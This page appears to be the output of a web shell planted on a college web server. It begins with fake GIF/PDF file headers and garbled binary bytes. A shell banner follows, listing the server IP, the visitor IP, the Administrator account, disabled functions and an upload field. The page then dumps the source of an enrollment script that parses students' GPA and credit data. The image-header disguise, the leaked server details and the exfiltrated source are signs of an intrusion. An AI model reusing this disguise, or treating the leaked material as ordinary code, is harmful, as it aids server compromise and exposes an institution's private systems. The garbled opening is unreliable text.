GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Enrollment/parse/ |
Upload File : |
<? // Admin/Enrollment/parse/parseDARS_30_c.phpinc // Parse state 30 // Searching for: SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS until first Ed Plan Section. // ['StudentCumulativeCompletionPercentage'] // ['StudentCreditsAdded'] ['StudentGPA'] // ['StudentCreditsInProgress'] // ['CredentialCreditsRequired'] ['CredentialCreditsEarned'] ['CredentialCreditsInProgress'] ['CredentialCreditsNeeds'] #$DEBUG_parseDARS_30_c = true; if ( !isset($DEBUG_parseDARS_30_c) ) $DEBUG_parseDARS_30_c = false; if ( $DEBUG_parseDARS_30_c ) { printLine(basename(__FILE__)); printLine('Searching for: SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS until first Ed Plan Section.'); printVar("$index: \$f_DARSln",$f_DARSln); #printVar('$f_DARSlnAsize',$f_DARSlnAsize); #printVar('$f_DARSlnA',$f_DARSlnA); } #include('common/pageFooter.phpinc'); // Skip to. while ( !in_DARSln('SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS') && !is_CourseSection() && get_DARSln() ) { if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); } // ['StudentCumulativeCompletionPercentage'] $indexStart = $index; $DARS['StudentCumulativeCompletionPercentage'] = 0; $DARS['StudentCreditsAdded'] = 0; $DARS['StudentGPA'] = 0; if ( !$f_error && in_DARSln('SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS') ) { // Skip to cumulative completion percentage line. while ( !$f_error && !in_DARSln('cumulative completion percentage') && !in_DARSln('Total Cumulative Credits and GPA') && !in_DARSln('--------------------------------------------------------------------------------') && get_DARSln() ) { if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln); } if ( in_DARSln('Total Cumulative Credits and GPA') ) $index--; // Reset if Total Cumulative Credits and GPA. if ( !$f_error && in_DARSln('cumulative completion percentage')) { get_DARSln(); if ( $DEBUG_parseDARS_30_c ) printVar("$index: ['StudentCumulativeCompletionPercentage']",$f_DARSln); if ( !$f_error && $f_DARSlnAsize == 2 && is_numeric($f_DARSlnA[0]) && $f_DARSlnA[1] == "%") { $DARS['StudentCumulativeCompletionPercentage'] = $f_DARSlnA[0]; } else { $f_error = 'Line does not contain cumulative completion percentage.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; } } else { // Did not find cumulative completion percentage. // Back up 1 line if we hit end of section. if ( in_DARSln('--------------------------------------------------------------------------------') ) $index--; } // Skip past end of section. #if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') && !in_DARSln('Total Cumulative Credits and GPA') ) { if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln); } if ( in_DARSln('Total Cumulative Credits and GPA') ) $index--; if ( !$f_error ) { get_DARSln(); } // Total Cumulative Credits and GPA section // Skip past Cumulative GPA Required to Graduate line. if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); while ( !$f_error && !in_DARSln('Cumulative GPA Required to Graduate') && !in_DARSln('--------------------------------------------------------------------------------') && get_DARSln() ) { if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln); } if ( !$f_error ) { get_DARSln(); } if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); #printVar("$index: \$f_DARSln",$f_DARSln); #printVar('$f_DARSlnAsize',$f_DARSlnAsize); #printVar('$f_DARSlnA',$f_DARSlnA); // ['StudentCreditsAdded'] ['StudentGPA'] if ( !$f_error ) { if ( $f_DARSlnAsize >= 3 && is_numeric($f_DARSlnA[0]) && ($f_DARSlnA[1] == "CREDITS" || $f_DARSlnA[1] == "CREDIT") && $f_DARSlnA[2] == "ADDED") { $DARS['StudentCreditsAdded'] = $f_DARSlnA[0]; #printVar("$index: ['StudentCreditsAdded']",$f_DARSln); if ( $DARS['StudentCreditsAdded'] == '.0' ) $DARS['StudentCreditsAdded'] = '0'; $DARS['StudentGPA'] = 0; if ($f_DARSlnAsize == 5 && is_numeric($f_DARSlnA[3]) && $f_DARSlnA[4] == "GPA") { $DARS['StudentGPA'] = $f_DARSlnA[3]; #printVar("$index: ['StudentGPA']",$f_DARSln); } else { $DARS['StudentGPA'] = 0; #printVar("$index: ['StudentGPA']",$f_DARSln); } get_DARSln(); } else { $index--; //$f_error = 'Line does not contain Credits Added and/or GPA.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; } } } if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentCumulativeCompletionPercentage']",$DARS['StudentCumulativeCompletionPercentage']); // Total Cumulative Credits and GPA section if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentCreditsAdded']",$DARS['StudentCreditsAdded']); if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentGPA']",$DARS['StudentGPA']); if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); // ['StudentCreditsInProgress'] $DARS['StudentCreditsInProgress'] = 0; if ( !$f_error ) { if ( !$f_error && $f_DARSlnAsize == 3 || $f_DARSlnA[0] == "IN-PROG" && is_numeric($f_DARSlnA[1]) && ($f_DARSlnA[2] != "CREDITS" || $f_DARSlnA[2] != "CREDIT") ) { $DARS['StudentCreditsInProgress'] = $f_DARSlnA[1]; #printVar("$index: ['StudentCreditsInProgress']",$f_DARSln); } else { $index--; //$f_error = 'Line does not contain Credits In Progress.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; } } if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentCreditsInProgress']",$DARS['StudentCreditsInProgress']); // Skip past end of section. if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') && !in_DARSln('Total Credits Required') ) { if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln); } if ( in_DARSln('Total Credits Required') ) $index--; if ( !$f_error ) { get_DARSln(); } // Total Credits Required section $sectionParsed = false; // ['CredentialCreditsRequired'] if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') && !in_DARSln('Total Credits Required') ) { if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln); } $DARS['CredentialCreditsRequired'] = 0; if ( !$f_error && $f_DARSlnAsize == 4 && is_numeric($f_DARSlnA[0]) && $f_DARSlnA[1] == 'Total' && $f_DARSlnA[2] == 'Credits' && $f_DARSlnA[3] == 'Required' ) { $DARS['CredentialCreditsRequired'] = $f_DARSlnA[0]; #printVar("$index: ['CredentialCreditsRequired']",$f_DARSln); get_DARSln(); $sectionParsed = true; } if ( !$f_error && $f_DARSlnAsize == 5 && ( $f_DARSlnA[0] == '-' || $f_DARSlnA[0] == '+' ) && is_numeric($f_DARSlnA[1]) && $f_DARSlnA[2] == 'Total' && $f_DARSlnA[3] == 'Credits' && $f_DARSlnA[4] == 'Required' ) { $DARS['CredentialCreditsRequired'] = $f_DARSlnA[1]; #printVar("$index: ['CredentialCreditsRequired']",$f_DARSln); get_DARSln(); $sectionParsed = true; } if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsRequired']",$DARS['CredentialCreditsRequired']); // ['CredentialCreditsEarned'] if ( $DEBUG_parseDARS_30_c ) printVar("$index: CredentialCreditsEarned \$f_DARSln",$f_DARSln); $DARS['CredentialCreditsEarned'] = 0; if ( !$f_error && $f_DARSlnAsize >= 3 && $f_DARSlnA[0] == 'EARNED' && is_numeric($f_DARSlnA[1]) ) { $DARS['CredentialCreditsEarned'] = $f_DARSlnA[1]; #printVar("$index: ['CredentialCreditsEarned']",$f_DARSln); get_DARSln(); $sectionParsed = true; } else { if ( !$f_error && $f_DARSlnAsize >= 3 && $f_DARSlnA[0] == 'IP' && $f_DARSlnA[1] == 'EARNED' && is_numeric($f_DARSlnA[2]) ) { $DARS['CredentialCreditsEarned'] = $f_DARSlnA[2]; #printVar("$index: ['CredentialCreditsEarned']",$f_DARSln); get_DARSln(); $sectionParsed = true; } else { if ( !$f_error && $f_DARSlnAsize == 3 && is_numeric($f_DARSlnA[0]) && ( $f_DARSlnA[1] == 'CREDITS' || $f_DARSlnA[1] == 'CREDIT' ) && $f_DARSlnA[2] == 'ADDED' ) { $DARS['CredentialCreditsEarned'] = $f_DARSlnA[0]; #printVar("$index: ['CredentialCreditsEarned']",$f_DARSln); get_DARSln(); $sectionParsed = true; } } } if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsEarned']",$DARS['CredentialCreditsEarned']); // ['CredentialCreditsInProgress'] if ( $DEBUG_parseDARS_30_c ) printVar("$index: CredentialCreditsInProgress \$f_DARSln",$f_DARSln); $DARS['CredentialCreditsInProgress'] = 0; if ( !$f_error && $f_DARSlnAsize == 3 && $f_DARSlnA[0] == 'IN-PROGRESS' && is_numeric($f_DARSlnA[1]) ) { $DARS['CredentialCreditsInProgress'] = $f_DARSlnA[1]; #printVar("$index: ['CredentialCreditsInProgress']",$f_DARSln); get_DARSln(); $sectionParsed = true; } else { if ( $DEBUG_parseDARS_30_c ) { printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); } if ( !$f_error && $f_DARSlnAsize == 3 && $f_DARSlnA[0] == 'IN-PROG' && is_numeric($f_DARSlnA[1]) ) { $DARS['CredentialCreditsInProgress'] = $f_DARSlnA[1]; #printVar("$index: ['CredentialCreditsInProgress']",$f_DARSln); get_DARSln(); $sectionParsed = true; } } if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsInProgress']",$DARS['CredentialCreditsInProgress']); // ['CredentialCreditsNeeds'] if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); $DARS['CredentialCreditsNeeds'] = 0; if ( !$f_error && $f_DARSlnAsize == 4 && $f_DARSlnA[1] == 'NEEDS' && is_numeric($f_DARSlnA[2]) ) { $DARS['CredentialCreditsNeeds'] = $f_DARSlnA[2]; #printVar("$index: ['CredentialCreditsNeeds']",$f_DARSln); get_DARSln(); $sectionParsed = true; } else { if ( !$f_error && $f_DARSlnAsize == 3 && $f_DARSlnA[0] == 'NEEDS' && is_numeric($f_DARSlnA[1]) ) { $DARS['CredentialCreditsNeeds'] = $f_DARSlnA[1]; #printVar("$index: ['CredentialCreditsNeeds']",$f_DARSln); get_DARSln(); $sectionParsed = true; } } if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsNeeds']",$DARS['CredentialCreditsNeeds']); #if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln); if ( $DEBUG_parseDARS_30_c ) { printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); } // Skip 'credits within the program must be completed at Ridgewater College for residency.' if ( ( isset($f_DARSlnA[2]) && $f_DARSlnA[2] == 'credits' ) && ( isset($f_DARSlnA[3]) && $f_DARSlnA[3] == 'within' ) && ( isset($f_DARSlnA[4]) && $f_DARSlnA[4] == 'the' ) && ( isset($f_DARSlnA[5]) && $f_DARSlnA[5] == 'program' ) ) { while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') ) { if ( $DEBUG_parseDARS_30_c ) printVar("skipping $index: \$f_DARSln",$f_DARSln); } } if ( !$f_error && !$sectionParsed ) { #printVar("$index: \$f_DARSln",$f_DARSln); #printVar('$f_DARSlnAsize',$f_DARSlnAsize); #printVar('$f_DARSlnA',$f_DARSlnA); $f_error = 'Line does not contain Credential Credit information.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>'; printVar("\$DARS['StudentCumulativeCompletionPercentage']",$DARS['StudentCumulativeCompletionPercentage']); printVar("\$DARS['StudentCreditsAdded']",$DARS['StudentCreditsAdded']); printVar("\$DARS['StudentGPA']",$DARS['StudentGPA']); printVar("\$DARS['StudentCreditsInProgress']",$DARS['StudentCreditsInProgress']); printVar("\$DARS['CredentialCreditsRequired']",$DARS['CredentialCreditsRequired']); printVar("\$DARS['CredentialCreditsEarned']",$DARS['CredentialCreditsEarned']); printVar("\$DARS['CredentialCreditsInProgress']",$DARS['CredentialCreditsInProgress']); printVar("\$DARS['CredentialCreditsNeeds']",$DARS['CredentialCreditsNeeds']); set_state(0); #exit; } if ( $DEBUG_parseDARS_30_c ) { printVar("\$DARS['StudentCumulativeCompletionPercentage']",$DARS['StudentCumulativeCompletionPercentage']); printVar("\$DARS['StudentCreditsAdded']",$DARS['StudentCreditsAdded']); printVar("\$DARS['StudentGPA']",$DARS['StudentGPA']); printVar("\$DARS['StudentCreditsInProgress']",$DARS['StudentCreditsInProgress']); printVar("\$DARS['CredentialCreditsRequired']",$DARS['CredentialCreditsRequired']); printVar("\$DARS['CredentialCreditsEarned']",$DARS['CredentialCreditsEarned']); printVar("\$DARS['CredentialCreditsInProgress']",$DARS['CredentialCreditsInProgress']); printVar("\$DARS['CredentialCreditsNeeds']",$DARS['CredentialCreditsNeeds']); } // Reset if at start of next course section. if ( is_CourseSection() ) $index--; set_state(40); #printVar('$DARS',$DARS); if ( $DEBUG_parseDARS_30_c ) include('common/pageFooter.phpinc'); $indexStop = $index; ?>